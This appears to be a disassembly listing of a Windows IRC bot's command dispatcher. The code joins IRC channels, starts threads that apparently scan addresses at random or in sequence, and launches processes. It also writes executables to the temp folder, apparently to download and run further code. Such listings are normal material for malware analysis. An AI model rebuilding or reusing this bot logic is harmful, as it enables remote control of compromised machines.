loc_40843E:				; CODE XREF: sub_406BAB+1885j
		mov	eax, [ebp+arg_8]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_419068[ecx]
		mov	[ebp+var_31C], ecx


loc_408458:				; CODE XREF: sub_406BAB+186Ej
					; sub_406BAB+1891j
		cmp	[ebp+var_31C], ebx
		jnz	short loc_40846A
		push	offset unk_41D28C
		jmp	loc_4093B3
; ---------------------------------------------------------------------------


loc_40846A:				; CODE XREF: sub_406BAB+18B3j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_4084A8
		cmp	byte ptr [edi],	23h
		jz	short loc_4084A8
		push	edi
		lea	eax, [ebp+var_430]
		push	10h
		push	eax
		call	sub_40BDE7
		push	78h
		push	edi
		call	sub_40CFC0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_2F0], eax
		jmp	loc_40857C
; ---------------------------------------------------------------------------


loc_4084A8:				; CODE XREF: sub_406BAB+18CBj
					; sub_406BAB+18D0j
		cmp	[ebp+var_913], bl
		jnz	short loc_4084CA
		cmp	[ebp+var_912], bl
		jnz	short loc_4084CA
		cmp	[ebp+var_902], bl
		jnz	short loc_4084CA
		push	offset unk_41D254
		jmp	loc_4093B3
; ---------------------------------------------------------------------------


loc_4084CA:				; CODE XREF: sub_406BAB+1903j
					; sub_406BAB+190Bj ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_42B37C	; getsockname
		mov	al, [ebp+var_913]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_42B45C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40B110
		add	esp, 0Ch
		cmp	[ebp+var_902], bl
		jz	short loc_408576
		xor	eax, eax
		cmp	[ebp+var_913], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D3C0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40856A


loc_408548:				; CODE XREF: sub_406BAB+19BDj
		cmp	eax, ebx
		jz	short loc_40856A
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_40D3C0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_408548


loc_40856A:				; CODE XREF: sub_406BAB+199Bj
					; sub_406BAB+199Fj
		mov	[ebp+var_2F0], 1
		jmp	short loc_40857C
; ---------------------------------------------------------------------------


loc_408576:				; CODE XREF: sub_406BAB+1975j
		mov	[ebp+var_2F0], ebx


loc_40857C:				; CODE XREF: sub_406BAB+18F8j
					; sub_406BAB+19C9j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_9C]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], eax
		mov	edi, 80h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_40BDE7
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4085D0


loc_4085BD:				; CODE XREF: sub_406BAB+1A48j
		push	esi


loc_4085BE:				; CODE XREF: sub_406BAB+1A32j
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		call	sub_40BDE7
		add	esp, 0Ch
		jmp	short loc_4085FB
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_406BAB+1A10j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4085DF
		cmp	byte ptr [eax],	23h
		jnz	short loc_4085DF
		push	eax
		jmp	short loc_4085BE
; ---------------------------------------------------------------------------


loc_4085DF:				; CODE XREF: sub_406BAB+1A2Aj
					; sub_406BAB+1A2Fj
		mov	esi, offset aPrv_1 ; "#prv##"
		push	offset byte_422270
		push	esi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4085BD
		mov	[ebp+var_3A0], bl


loc_4085FB:				; CODE XREF: sub_406BAB+1A23j
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40860D
		mov	eax, offset aSequential	; "Sequential"


loc_40860D:				; CODE XREF: sub_406BAB+1A5Bj
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41D1D8
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	7
		push	eax
		call	sub_40AA54
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_401704
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	short loc_40869E
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41D1A0
		jmp	loc_4081E2
; ---------------------------------------------------------------------------


loc_408696:				; CODE XREF: sub_406BAB+1AF9j
		push	32h
		call	dword_417040	; Sleep


loc_40869E:				; CODE XREF: sub_406BAB+1AD8j
		cmp	[ebp+var_2EC], ebx
		jz	short loc_408696
		jmp	loc_4081F1
; ---------------------------------------------------------------------------


loc_4086AB:				; CODE XREF: sub_406BAB+15A8j
					; sub_406BAB+15BDj
		push	[ebp+arg_10]
		call	dword_42B410	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_448], eax
		call	sub_40C3AF
		push	[ebp+esi+var_98]
		mov	[ebp+var_454], eax
		call	sub_40C3AF
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_450], eax
		lea	eax, [ebp+var_4D4]
		mov	[ebp+var_4D8], esi
		push	eax
		call	sub_40B110
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_440], edi
		push	[ebp+var_450]
		mov	[ebp+var_43C], eax
		push	[ebp+var_454]
		push	[ebp+var_448]
		call	dword_42B45C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41D164
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	7
		push	eax
		call	sub_40AA54
		add	esp, 20h
		mov	[ebp+var_44C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4D8]
		push	ebx
		push	eax
		push	offset sub_406331
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_44C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	short loc_408796
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41D1A0
		jmp	loc_4089DB
; ---------------------------------------------------------------------------


loc_40878E:				; CODE XREF: sub_406BAB+1BF1j
		push	32h
		call	dword_417040	; Sleep


loc_408796:				; CODE XREF: sub_406BAB+1BD0j
		cmp	[ebp+var_438], ebx
		jz	short loc_40878E
		jmp	loc_4089EA
; ---------------------------------------------------------------------------


loc_4087A3:				; CODE XREF: sub_406BAB+157Ej
					; sub_406BAB+1593j
		push	[ebp+arg_10]
		call	sub_40C3AF
		push	7Fh
		mov	[ebp+var_300], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_40B110
		push	[ebp+esi+var_98]
		call	sub_40C3AF
		push	[ebp+var_9C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_384]
		push	80h
		push	eax
		mov	[ebp+var_40C], esi
		call	sub_40BDE7
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		push	[ebp+var_304]
		lea	eax, [ebp+var_404]
		mov	[ebp+var_2F4], edi
		push	eax
		push	[ebp+var_300]
		push	esi
		call	sub_405752
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41D124
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	0Fh
		push	eax
		call	sub_40AA54
		add	esp, 24h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_405AD8
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	short loc_408895
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41D0E0
		jmp	loc_4089DB
; ---------------------------------------------------------------------------


loc_40888D:				; CODE XREF: sub_406BAB+1CF0j
		push	32h
		call	dword_417040	; Sleep


loc_408895:				; CODE XREF: sub_406BAB+1CCFj
		cmp	[ebp+var_2EC], ebx
		jz	short loc_40888D
		jmp	loc_4089EA
; ---------------------------------------------------------------------------


loc_4088A2:				; CODE XREF: sub_406BAB+1554j
					; sub_406BAB+1569j
		mov	edi, 0FFh
		lea	eax, [ebp+var_770]
		push	edi
		push	[ebp+arg_10]
		push	eax
		call	sub_40B110
		push	edi
		lea	eax, [ebp+var_670]
		push	[ebp+arg_18]
		push	eax
		call	sub_40B110
		mov	eax, [ebp+esi+var_98]
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_56C], ebx
		jz	short loc_4088EA
		push	eax
		call	sub_40C3AF
		pop	ecx
		mov	[ebp+var_568], eax
		jmp	short loc_4088F0
; ---------------------------------------------------------------------------


loc_4088EA:				; CODE XREF: sub_406BAB+1D2Ej
		mov	[ebp+var_568], ebx


loc_4088F0:				; CODE XREF: sub_406BAB+1D3Dj
		mov	eax, [ebp+esi+var_94]
		cmp	eax, ebx
		jz	short loc_40890F
		push	10h
		push	ebx
		push	eax
		call	sub_40CC7B
		add	esp, 0Ch
		mov	[ebp+var_560], eax
		jmp	short loc_408915
; ---------------------------------------------------------------------------


loc_40890F:				; CODE XREF: sub_406BAB+1D4Ej
		mov	[ebp+var_560], ebx


loc_408915:				; CODE XREF: sub_406BAB+1D62j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_40892F
		push	esi
		call	sub_40C3AF
		pop	ecx
		mov	[ebp+var_564], eax
		jmp	short loc_408935
; ---------------------------------------------------------------------------


loc_40892F:				; CODE XREF: sub_406BAB+1D73j
		mov	[ebp+var_564], ebx


loc_408935:				; CODE XREF: sub_406BAB+1D82j
		movzx	eax, [ebp+var_90F]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_55C], eax
		lea	eax, [ebp+var_7F0]
		mov	[ebp+var_7F4], esi
		push	eax
		call	sub_40B110
		push	[ebp+arg_18]
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_558], eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		mov	[ebp+var_554], edi
		push	offset unk_41D0B0
		push	eax
		call	sub_40B0B3
		push	esi
		lea	eax, [ebp+var_2E4]
		push	14h
		push	eax
		call	sub_40AA54
		add	esp, 28h
		mov	[ebp+var_570], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F4]
		push	ebx
		push	eax
		push	offset sub_4032EE
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_570]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	short loc_408A10
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41D070


loc_4089DB:				; CODE XREF: sub_406BAB+1BDEj
					; sub_406BAB+1CDDj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch


loc_4089EA:				; CODE XREF: sub_406BAB+1BF3j
					; sub_406BAB+1CF2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_409B55
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	edi
		push	eax
		push	[ebp+var_9C]
		push	esi
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_408A08:				; CODE XREF: sub_406BAB+1E6Bj
		push	32h
		call	dword_417040	; Sleep


loc_408A10:				; CODE XREF: sub_406BAB+1E22j
		cmp	[ebp+var_550], ebx
		jz	short loc_408A08
		jmp	short loc_4089EA
; ---------------------------------------------------------------------------


loc_408A1A:				; CODE XREF: sub_406BAB+152Aj
					; sub_406BAB+153Fj
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	dword_4170F0	; MoveFileA
		test	eax, eax
		jz	short loc_408A4B
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2E4]
		push	[ebp+arg_10]
		push	offset unk_41D048
		push	200h
		push	eax
		call	sub_40BDE7
		add	esp, 14h
		jmp	short loc_408A6A
; ---------------------------------------------------------------------------


loc_408A4B:				; CODE XREF: sub_406BAB+1E7Dj
		push	offset dword_41D038
		call	sub_4052BA
		push	eax
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_40BDE7
		add	esp, 10h


loc_408A6A:				; CODE XREF: sub_406BAB+1E9Ej
					; sub_406BAB+278Aj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_408A8B
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_408A8B:				; CODE XREF: sub_406BAB+E2Fj
					; sub_406BAB+1EC2j ...
		xor	esi, esi
		inc	esi


loc_408A8E:				; CODE XREF: sub_406BAB+2656j
					; sub_406BAB+2693j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		pop	ecx
		mov	eax, esi
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_408AA2:				; CODE XREF: sub_406BAB+1500j
					; sub_406BAB+1515j
		push	44h
		lea	eax, [ebp+var_474]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_40B630
		push	[ebp+arg_10]
		xor	edi, edi
		inc	edi
		mov	[ebp+var_474], esi
		mov	[ebp+var_448], edi
		mov	word ptr [ebp+var_444],	bx
		call	sub_40C3AF
		add	esp, 10h
		cmp	eax, edi
		jnz	short loc_408AE1
		mov	word ptr [ebp+var_444],	5


loc_408AE1:				; CODE XREF: sub_406BAB+1F2Bj
		cmp	[ebp+var_C], ebx
		jz	loc_4091DD
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_40CE60
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4091DD
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_474]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	edi
		push	ebx
		push	ebx
		push	esi
		push	ebx
		call	dword_417070	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2E4]
		jnz	short loc_408B32
		push	offset unk_41D010
		jmp	loc_409304
; ---------------------------------------------------------------------------


loc_408B32:				; CODE XREF: sub_406BAB+1F7Bj
		push	esi
		push	offset dword_41CFF4
		jmp	loc_409293
; ---------------------------------------------------------------------------


loc_408B3D:				; CODE XREF: sub_406BAB+14D6j
					; sub_406BAB+14EBj
		push	[ebp+arg_18]
		push	offset aKtsFinally ; "KTS-Finally"
		call	sub_40C250
		mov	edi, [ebp+arg_4]
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CBD
		lea	eax, [ebp+var_A78]
		push	eax
		push	104h
		call	dword_4170BC	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_770]
		push	[ebp+arg_10]
		push	eax
		call	sub_40B110
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_405F22
		push	eax
		lea	eax, [ebp+var_A78]
		push	eax
		lea	eax, [ebp+var_670]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_40B0B3
		mov	eax, [ebp+esi+var_98]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_56C], 1
		mov	[ebp+var_568], ebx
		jz	short loc_408BD4
		push	10h
		push	ebx
		push	eax
		call	sub_40CC7B
		add	esp, 0Ch
		mov	[ebp+var_560], eax
		jmp	short loc_408BDA
; ---------------------------------------------------------------------------


loc_408BD4:				; CODE XREF: sub_406BAB+2013j
		mov	[ebp+var_560], ebx


loc_408BDA:				; CODE XREF: sub_406BAB+2027j
		mov	esi, [ebp+esi+var_94]
		cmp	esi, ebx
		jz	short loc_408BF4
		push	esi
		call	sub_40C3AF
		pop	ecx
		mov	[ebp+var_564], eax
		jmp	short loc_408BFA
; ---------------------------------------------------------------------------


loc_408BF4:				; CODE XREF: sub_406BAB+2038j
		mov	[ebp+var_564], ebx


loc_408BFA:				; CODE XREF: sub_406BAB+2047j
		movzx	eax, [ebp+var_90F]
		push	7Fh
		mov	[ebp+var_55C], eax
		push	[ebp+var_9C]
		lea	eax, [ebp+var_7F0]
		mov	[ebp+var_7F4], edi
		push	eax
		call	sub_40B110
		mov	eax, [ebp+var_4]
		push	[ebp+arg_10]
		mov	[ebp+var_554], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_558], eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41CFB8
		push	eax
		call	sub_40B0B3
		push	edi
		lea	eax, [ebp+var_2E4]
		push	15h
		push	eax
		call	sub_40AA54
		add	esp, 24h
		mov	[ebp+var_570], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F4]
		push	ebx
		push	eax
		push	offset sub_4032EE
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_570]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	short loc_408CB3
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41CF78
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		jmp	short loc_408CD0
; ---------------------------------------------------------------------------


loc_408CAB:				; CODE XREF: sub_406BAB+210Ej
		push	32h
		call	dword_417040	; Sleep


loc_408CB3:				; CODE XREF: sub_406BAB+20E1j
		cmp	[ebp+var_550], ebx
		jz	short loc_408CAB
		jmp	short loc_408CD0
; ---------------------------------------------------------------------------


loc_408CBD:				; CODE XREF: sub_406BAB+1FA6j
		lea	eax, [ebp+var_2E4]
		push	offset unk_41CF30
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx


loc_408CD0:				; CODE XREF: sub_406BAB+20FEj
					; sub_406BAB+2110j
		cmp	[ebp+var_8], ebx
		jnz	loc_4091FE
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	edi
		jmp	loc_4091F6
; ---------------------------------------------------------------------------


loc_408CF0:				; CODE XREF: sub_406BAB+14ACj
					; sub_406BAB+14C1j
		push	[ebp+var_A0]
		push	offset dword_41D834
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FF9
		cmp	[ebp+var_C], ebx
		jz	loc_406FF9
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_40CE60
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset dword_41CF20
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_2E4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_40B110
		push	[ebp+arg_10]
		call	sub_40C3AF
		add	esp, 30h
		test	eax, eax
		jle	short loc_408D7B
		push	[ebp+arg_10]
		call	sub_40C3AF
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_417040	; Sleep


loc_408D7B:				; CODE XREF: sub_406BAB+21B8j
		mov	eax, [ebp+arg_24]
		inc	eax
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_408D84:				; CODE XREF: sub_406BAB+1482j
					; sub_406BAB+1497j
		push	[ebp+var_A0]
		push	offset dword_41D834
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FF9
		cmp	[ebp+var_C], ebx
		jz	loc_409F32
		mov	edi, [ebp+arg_18]
		push	edi
		push	[ebp+var_C]
		call	sub_40CE60
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_40C250
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2E4]
		jz	short loc_408E42
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset dword_41CF20
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_2E4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_40B110
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset dword_41CF04
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		push	[ebp+arg_10]
		call	sub_40C3AF
		add	esp, 38h
		test	eax, eax
		jle	loc_409F32
		push	[ebp+arg_10]
		call	sub_40C3AF
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_408E42:				; CODE XREF: sub_406BAB+2222j
		push	offset unk_41CECC
		jmp	loc_409126
; ---------------------------------------------------------------------------


loc_408E4C:				; CODE XREF: sub_406BAB+1458j
					; sub_406BAB+146Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409F32
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_40CE60
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409F32
		push	eax
		push	offset dword_41CEC0


loc_408E70:				; CODE XREF: sub_406BAB+28BDj
					; sub_406BAB+28CAj ...
		push	[ebp+arg_4]
		call	sub_40450F
		jmp	loc_409DF9
; ---------------------------------------------------------------------------


loc_408E7D:				; CODE XREF: sub_406BAB+142Ej
					; sub_406BAB+1443j
		push	[ebp+var_A0]
		push	offset dword_41D834
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FF9
		push	[ebp+arg_18]
		push	offset dword_41CEB4
		push	[ebp+arg_4]
		call	sub_40450F
		push	[ebp+arg_10]
		call	sub_40C3AF
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_417040	; Sleep
		push	[ebp+esi+var_98]
		push	[ebp+arg_18]


loc_408EC9:				; CODE XREF: sub_406BAB+28D9j
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		jmp	loc_40990B
; ---------------------------------------------------------------------------


loc_408EDB:				; CODE XREF: sub_406BAB+1404j
					; sub_406BAB+1419j
		cmp	[ebp+var_C], ebx
		jz	loc_409F32
		push	[ebp+arg_10]
		call	sub_40B5B0
		push	edi
		mov	esi, eax
		call	sub_40B5B0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_40CE60
		add	esp, 10h
		cmp	eax, ebx
		jz	loc_409F32
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_41CEA8
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		push	[ebp+arg_10]


loc_408F2D:				; CODE XREF: sub_406BAB+17E7j
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 20h
		jmp	loc_409F32
; ---------------------------------------------------------------------------


loc_408F3D:				; CODE XREF: sub_406BAB+13DAj
					; sub_406BAB+13EFj
		cmp	[ebp+var_C], ebx
		jz	loc_409F32
		push	[ebp+arg_10]
		call	sub_40B5B0
		push	edi
		mov	esi, eax
		call	sub_40B5B0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_40CE60
		add	esp, 10h
		cmp	eax, ebx
		jz	loc_409F32
		push	ebx
		push	ebx
		push	eax
		push	[ebp+arg_10]
		jmp	loc_409BEA
; ---------------------------------------------------------------------------


loc_408F7C:				; CODE XREF: sub_406BAB+13B0j
					; sub_406BAB+13C5j
		cmp	[ebp+var_C], ebx
		jz	loc_406FF9
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_40CE60
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_406FF9
		push	eax
		push	[ebp+arg_10]
		call	sub_40304D
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset unk_41CE88
		push	eax
		call	sub_40B0B3
		add	esp, 14h
		jmp	loc_4081F1
; ---------------------------------------------------------------------------


loc_408FBF:				; CODE XREF: sub_406BAB+1374j
					; sub_406BAB+1389j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_40CE60
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409F32
		mov	esi, [ebp+esi+var_9C]
		cmp	esi, ebx
		jz	short loc_40905A
		push	esi
		push	[ebp+var_C]
		call	sub_40CE60
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp+var_2E4]
		jz	short loc_409048
		push	esi
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset dword_41CF20
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_2E4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_40B110
		push	esi
		lea	eax, [ebp+var_2E4]
		push	[ebp+arg_10]
		push	offset unk_41CE60
		push	eax
		call	sub_40B0B3
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_409195
; ---------------------------------------------------------------------------


loc_409048:				; CODE XREF: sub_406BAB+2449j
		push	offset unk_41CE2C
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx
		jmp	loc_409195
; ---------------------------------------------------------------------------


loc_40905A:				; CODE XREF: sub_406BAB+2432j
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40A4AD
		add	esp, 0Ch
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset dword_41CE10
		push	200h
		push	eax
		call	sub_40BDE7
		add	esp, 24h
		jmp	loc_409195
; ---------------------------------------------------------------------------


loc_4090A3:				; CODE XREF: sub_406BAB+134Aj
					; sub_406BAB+135Fj
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_40C7B8
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		lea	eax, [ebp+var_2E4]
		jz	short loc_40911E
		mov	esi, 200h
		push	edi
		push	esi
		push	eax
		call	sub_40D361
		add	esp, 0Ch
		jmp	short loc_4090FB
; ---------------------------------------------------------------------------


loc_4090D0:				; CODE XREF: sub_406BAB+2552j
		push	1
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		push	edi
		lea	eax, [ebp+var_2E4]
		push	esi
		push	eax
		call	sub_40D361
		add	esp, 20h


loc_4090FB:				; CODE XREF: sub_406BAB+2523j
		test	eax, eax
		jnz	short loc_4090D0
		push	edi
		call	sub_40C3BA
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset unk_41CDE8
		push	eax
		call	sub_40B0B3
		add	esp, 10h
		jmp	short loc_409195
; ---------------------------------------------------------------------------


loc_40911E:				; CODE XREF: sub_406BAB+2511j
		push	[ebp+arg_10]
		push	offset unk_41CDC4


loc_409126:				; CODE XREF: sub_406BAB+229Cj
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		jmp	short loc_409174
; ---------------------------------------------------------------------------


loc_409131:				; CODE XREF: sub_406BAB+1320j
					; sub_406BAB+1335j
		cmp	[ebp+var_C], ebx
		jz	loc_409F32
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_40CE60
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409F32
		push	eax
		call	sub_40537F
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2E4]
		jnz	short loc_409167
		push	offset unk_41CDA4
		jmp	short loc_40916C
; ---------------------------------------------------------------------------


loc_409167:				; CODE XREF: sub_406BAB+25B3j
		push	offset dword_41CD88


loc_40916C:				; CODE XREF: sub_406BAB+25BAj
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx


loc_409174:				; CODE XREF: sub_406BAB+2584j
		cmp	[ebp+var_8], ebx
		jnz	short loc_409195
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_409195:				; CODE XREF: sub_406BAB+2498j
					; sub_406BAB+24AAj ...
		lea	eax, [ebp+var_2E4]
		push	eax


loc_40919C:				; CODE XREF: sub_406BAB+1006j
		call	sub_403145
		pop	ecx
		jmp	loc_409F32
